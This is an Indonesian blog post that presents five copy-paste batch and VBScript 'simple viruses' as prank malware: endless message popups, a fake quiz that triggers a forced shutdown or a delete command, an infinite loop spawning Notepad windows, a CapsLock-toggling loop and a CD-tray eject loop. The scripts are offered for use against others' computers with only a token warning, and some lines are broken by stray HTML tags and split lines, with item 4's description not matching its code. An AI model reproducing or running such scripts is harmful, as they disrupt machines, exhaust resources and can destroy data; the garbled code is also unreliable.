Membuat Virus Komputer Sederhana

Apa kabar semuanya..?? Semoga baik-baik saja ya, Amin..
Dah lama banget nih ga' sempet online n ga' ngeposting. Kali ini saya akan berbagi informasi tentang cara membuat virus komputer sederhana. Dibaca dan di pahami baik-baik ya :

Ini adalah cara membuat virus yang sederhana, saya rasa semua orang bisa melakukannya. Hanya dengan notepad dan kemampuan copy-paste anda sudah bisa.

1. Message yg muncul terus menerus cara nya buka notepad lalu masukan script di bawah ini :

@ECHO off

:<br />

Begin<br />

msg * Lagi ngapain ?<br />

msg * Hayo buka apa ?<br />

msg * Nanti dimarahin ama mak loe<br />

msg * Makannya jangan sembrono !<br />

msg * minta bantuan gih sono !<br />

msg * Udah instal ulang aja !!!!<br />

msg * tit............................

GOTO BEGIN</div>

bisa dirubah sesuai keinginan anda!
simpan dengan berekstensi .bat contoh fawaiqblog.bat

2.  Pertanyaan menjebak, script nya :

@echo off

title quiz hari ini 

:menu

cls

echo jika kamu kena virus apa

yang kamu lakukan

pause

echo pilih yang mana:

echo 1. matiin computer

echo 2. format aja

echo 3. bingung ahh

set input=nothing

set /p input=Choice:

if %input%==1 shutdown -s -t

30

if %input%==2 del c:\xxx

if %input%==3 @ECHO off

msg * muka lo rusak

msg * ngaca dulu gih

msg * hayo lo,cpu lu gw acak2

msg * ud install ulang aja

msg * biar masalah nya kelar

@ECHO off

:top

START %SystemRoot%

\system32\notepad.exe

GOTO top

simpan dengan .bat contoh = fawaiqblog.bat

3. Membuka notepad terus-menerus, script nya :

@ECHO off

:top

START %SystemRoot%

\system32\notepad.exe

GOTO top

sama simpan dengan .bat

4. Komputer mati sendiri dan ngirim message, script nya :

Set wshShell

=wscript.CreateObject

("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{CAPSLOCK}"

loop

simpan dengan .vbs

5. Buka tutup cd room terus menerus, script nya :

Set oWMP = CreateObject

("WMPlayer.OCX.7")

Set colCDROMs =

oWMP.cdromCollection

do

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 5000

loop

simpan dengan .vbs


Selamat mencoba, tapi jangan di gunakan untuk kejahatan dan balas dendam. Semoga artikel tentang cara membuat virus komputer sederhana bisa bermanfaat.

Sumber : cyber4rt

Related Posts:

Tweet